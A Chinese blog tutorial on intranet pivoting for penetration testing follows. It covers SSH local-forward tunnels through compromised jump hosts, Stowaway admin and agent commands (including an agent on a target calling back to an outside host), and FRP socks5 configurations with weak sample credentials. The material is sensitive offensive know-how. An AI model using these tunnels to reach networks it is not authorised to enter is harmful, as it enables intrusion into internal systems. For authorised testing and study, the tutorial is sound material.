内网代理搭建
本文最后更新于 44 天前,其中的信息可能已经有所发展或是发生改变。

正向代理和反向代理

在计算机网络领域,代理服务器扮演着至关重要的角色,它在服务器与客户端之间充当中间人的角色,有效地提高系统的安全性、性能和可扩展性 其中正向代理和反向代理是两种最为常见的代理方式

首先,什么是代理服务器呢?代理服务器就是一个位于客户端和目标服务器之间的中间服务器

换句话说:你不会直接访问目标网站,而是委托代理服务器去帮你访问的

代理服务器的分类

类型说明
正向代理用户 → 代理服务器 → 目标网站。用于访问外网、翻墙、隐藏身份
反向代理用户 → 代理服务器 → 内部服务器。用于负载均衡、安全控制
透明代理用户无感知,代理服务器悄悄转发请求
高匿名代理完全隐藏用户身份,目标服务器看不到真实 IP

主要来讲讲正向代理和反向代理

正向代理

正向代理是一种位于客户端和服务器之间的代理服务器,客户端将请求发送给正向代理,然后由代理服务器将请求转发给目标服务器。服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。正向代理对客户端是透明的,客户端无需知道实际服务器的地址

作用

  • 隐藏客户端身份
  • 访问控制
  • 缓存加速

反向代理

反向代理是一种位于服务器和客户端之间的代理服务器。客户端将请求发送给反向代理,然后由代理服务器根据一定的规则将请求转发给后端服务器。后端服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。反向代理对客户端是透明的,客户端无需知道实际服务器的地址,只需将反向代理当作目标服务器一样发送请求就可以

作用

负载均衡

安全性增强:隐藏后端服务器的真实地址和端口,防止DDos攻击等

缓存优化

总结一下

两者有什么区别呢

简单来说就是一句话:

正向代理(Forward Proxy)客户端知道目标服务器,服务器不知道客户端是谁

反向代理(Reverse Proxy)客户端不知道真实服务器是谁,只和代理打交道

正向
[你] → [正向代理] → [Google服务器]
反向
[用户] → [反向代理服务器] → [内部 Web 服务器集群]

注意防火墙的出入规则

正向连接和反向连接

正向连接

所谓正向连接就是攻击机去连接靶机,条件网络没有防火墙拦截

反向连接

反向连接就是靶机主动去连接攻击机,前提是目标机器出网(即目标主机能访问外部网络),同时控制端能监听端口,还要防火墙允许

端口转发和端口映射

端口转发/端口映射是指:把访问某台设备的某个端口的请求,自动转发到局域网内其他设备的某个端口上

举个简单的例子

你家有一台电脑,你运行了一个web服务(在内网 IP:192.168.1.100:8080),你想在公司访问它

但是你电脑在内网,公司访问不到

于是你在路由器上设置端口映射

公网 IP: 1.2.3.4:5000 → 内网 IP: 192.168.1.100:8080

那么公司只要访问

http://1.2.3.4:5000

就等于访问到了你的

http://192.168.1.100:8080

内网搭建

利用SSH命令搭建ssh隧道

单层ssh隧道搭建

首先我画一个图给大家理解一下

攻击机无法直接访问内网的web服务,但是已经控制了一个靶机,所以我们可以借助这个可控的靶机作为跳板,让攻击机可以直接访问到内网的web服务,然后展开内网渗透

ssh -L 8888:内网Web服务IP:80 user@跳板机IP
  • -L:本地转发
  • 8888:本地攻击者监听的端口
  • 内网Web服务IP:80:跳板机上可以访问的目标地址
  • user@跳板机IP:你控制的那台跳板机

实际就是

你的本地 → 跳板机 → 内网Web服务:80

多层SSH隧道搭建

接着来张图

可控服务器我们有两个,一个表层一个深层

典型的三层结构

[攻击者(公网)]
  ↓ SSH
[跳板机A(第一跳,DMZ区)]
  ↓ SSH
[跳板机B(第二跳,内网)]
  ↓ HTTP
[内网Web服务器]

通过多跳SSH打通路径

第一步:
ssh -L 9999:跳板机B:22 user@跳板机A
第二步:
ssh -L 8888:内网Web:80 -p 9999 user@localhost

这样就能访问到最深处的内网服务了

http://localhost:8888

Stowaway搭建内网代理

工具地址:https://github.com/ph4ntonn/Stowaway

用法可以直接看手册

命令看不懂可以自己去研究

反向代理

如果想用Windows作服务器使

.\windows_x64_admin.exe -l 5555 -s 123

靶机上运行

./linux_x64_agent -c 1055482vbac75.vicp.fun:21413 -s 123 --reconnect 8

本地收到

use 0
socks 1234

攻击机 → 多层节点 → 目标主机 的透明访问路径,非常适合深度渗透或内网漫游

命令示例作用
list查看当前已连接的所有节点(显示编号和IP)
use 0切换控制目标为编号为 0 的节点
back回到上一级节点控制界面(退出当前 use 的节点)

说明:Stowaway 使用类似“树状结构”的控制方式,use 切换控制焦点,back 返回

主控端

参数含义示例
-m以“主控端”模式运行./stowaway -m -l 9999
-l <port>指定监听端口监听 9999 端口
-s使用 TLS 加密通信(可选)./stowaway -m -l 9999 -s

被控端

参数含义示例
-c以“被控端”模式运行表示是客户端
-t <ip>指定主控端的 IP 地址-t 1.2.3.4
-p <port>指定主控端监听的端口-p 9999
-s开启 TLS 加密连接(可选)-s

也是分正反向代理去搭建的通信

正向代理

靶机上运行

./linux_x64_agent -l 8888 -s 123

本机运行

.\windows_x64_admin.exe -c 192.xxx.xxx.xxx:8888 -s 123
部分含义
.\windows_x64_admin.exe这是 Stowaway 的 Windows 被控端程序,64 位,具有管理员权限的版本
-c表示以 Client 模式(被控端) 启动
xxx.xxx.xxx.xxx:9999目标控制端的 IP 和端口,表示该客户端将主动连接 192.168.180.95 的 9999 端口(主控监听端口)
-s 123这里的 -s 是用于设置连接密码/密钥(根据版本不同也可能代表 TLS 开关),123 是密码或密钥

多层代理

服务器运行

./linux_x64_admin -l 1234 -s 123

靶机运行

./linux_x64_agent -c 控制端ip:1234 -s 123 --reconnect 8

建立连接后运行

use 0
listen
1
1234

相当于在VPS1建立了一个监听1234端口的连接

然后用VPS2连接VPS1的1234端口

./linux_x64_agent -c VPS1:1234 -s 123 --reconnect 8
use 1
socks 5555

控制端看见新节点node 1加入,这个就是经过VPS1代理的VPS2,选择use 1,socks 5555即可在控制端5555端口建立socks5代理

FRP代理搭建

官方文档:https://gofrp.org/zh-cn/docs/

frp 是什么?

frp 是一款高性能的反向代理应用,专注于内网穿透。它支持多种协议,包括 TCP、UDP、HTTP、HTTPS 等,并且具备 P2P 通信功能。使用 frp,您可以安全、便捷地将内网服务暴露到公网,通过拥有公网 IP 的节点进行中转

FRP工具原理

实现原理

frp主要由客户端(frpc)和服务器(frps)

客户端通常部署在需要穿透的内网服务所在的机器上

而客户端部署在需要穿透的内网服务所在的机器上

内网服务由于没有公网IP,不能被非局域网内的其他用户访问,隐藏用户通过访问服务端的frps,由frp负责根据请求的端口或其它信息连接内网机器,实现内网通信

使用

toml配置版本

公网服务器部署frp

因为frp的插件很多,这里我们用socks5插件,来创建Socks5代理服务

tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp

修改配置(这个配置具体要看你用的事什么配置形式的,以下给出toml和ini的)

vim frps.toml
#服务绑定的IP与端口
bindAddr = "0.0.0.0"
bindPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"
#启用prometheus监控指标
enablePrometheus = true
#token权限验证,需与客户端配置一致
auth.method = "token"
auth.token = "123456"
#日志配置
log.to = "/app/frp/logs/frps.log"
log.level = "info"
log.maxDays = 3

接下来创建日志目录

mkdir /app/frp/logs

启动服务(多种启动方式)

#命令行方式启动
./frps -c ./frps.toml

#后台启动
nohup ./frps -c ./frps.toml &> /dev/null &

#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frps.service
[Unit]
# 服务名称,可自定义
Description = frp server
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple
# 启动frps的命令,需修改为您的frps的安装路径
ExecStart = /app/frp/frps -c /app/frp/frps.toml

[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frps

内网服务器部署frp

上传安装包解压

tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp

创建日志存储目录

mkdir logs conf.d

修改配置

#注意是frpc.toml文件,服务器是frps.toml
vim frpc.toml
#配置公网服务器上frp服务的IP与端口
serverAddr = "x.x.x.x"
serverPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7400
webServer.user = "admin"
webServer.password = "admin"
#日志配置
log.to = "/app/frp/logs/frpc.log"
log.level = "info"
log.maxDays = 3
#token权限验证,需与服务端配置一致
auth.method = "token"
auth.token = "123456"
#代理配置,这里使用引用文件的方式
includes = ["./conf.d/*.toml"]

在这你可以通过修改子配置文件 ,选择想用的代理方式
比如socks5,那就需要修改或添加
./conf.d/socks5.toml
[[proxies]]
name = "socks5_proxy"
type = "tcp"
remotePort = 8886
plugin = "socks5"
plugin_user = "youruser"
plugin_passwd = "yourpass"


#保存以上配置,然后添加代理配置
vim ./conf.d/jenkins.toml
[[proxies]]
name = "jenkins" #名称
type = "tcp" #代理类型
localIP = "127.0.0.1" #本地IP
localPort = 8000 #内网服务监听的端口
remotePort = 8500 #需要在公网服务器上监听的端口

启动服务(多种启动方式)

#命令行方式启动
./frpc -c ./frpc.toml

#后台启动
nohup ./frpc -c ./frpc.toml &> /dev/null &

#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frpc.service
[Unit]
# 服务名称,可自定义
Description = frp client
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple
# 启动frpc的命令,需修改为您的frpc的安装路径
ExecStart = /app/frp/frpc -c /app/frp/frpc.toml

[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frpc

公网服务器web界面:http://<公网IP>:7500

对应ini版本

frps 只负责转发流量,它不需要也不运行 socks5 逻辑

其中frp作为反向代理工具较为稳定,但是依赖于配置文件,所以容易被溯源到

可用于端口映射或开通socks隧道

我这个是使用socks插件配置代理的ini配置

frps.ini文件

bindPort = 7000

frpc.ini文件

[common]
server_addr = xxxx.xxxx.xxxx.xxxx
server_port = 7788

[socks_proxy1]
type = tcp
remote_port =8886
plugin = socks5

加上token更加安全

加token的版本

frps.ini

[common]
bindPort = 7000

# Token 验证
auth.method = token
auth.token = 123456 # 设置一个与客户端一致的 Token

# 可选:启用 Web 管理界面,查看 frp 状态
# webServer.addr = "0.0.0.0"
# webServer.port = 7500
# webServer.user = "admin"
# webServer.password = "admin"

# 日志配置
log_file = ./frps.log
log_level = info
log_max_days = 3

frpc.ini

[common]
server_addr = xxxx.xxxx.xxxx.xxxx # 公网服务器的 IP 地址
server_port = 7000 # 与服务端的端口保持一致

# Token 验证,必须与服务端一致
auth.method = token
auth.token = 123456 # 设置与服务端一致的 Token

# 日志配置
log_file = ./frpc.log
log_level = info
log_max_days = 3

[socks_proxy1]
type = tcp
remote_port = 8886
plugin = socks5

其他搭建代理的方式后面还有更新~~~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇